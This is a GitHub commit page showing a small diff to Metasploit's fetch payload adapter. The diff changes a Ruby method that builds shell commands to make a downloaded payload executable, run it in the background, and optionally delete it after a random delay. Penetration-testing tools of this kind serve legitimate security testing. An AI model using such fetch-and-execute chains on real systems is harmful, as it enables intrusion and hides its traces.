We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents 703ed44 + 0334109 commit 4a13b09Copy full SHA for 4a13b09
lib/msf/core/payload/adapter/fetch.rb
@@ -202,9 +202,9 @@ def _execute_win
202
end
203
204
def _execute_nix
205
- cmds = "; chmod +x #{_remote_destination_nix}"
206
- cmds << "; #{_remote_destination_nix} &"
207
- cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
+ cmds = ";chmod +x #{_remote_destination_nix}"
+ cmds << ";#{_remote_destination_nix}&"
+ cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
208
cmds
209
210
0 commit comments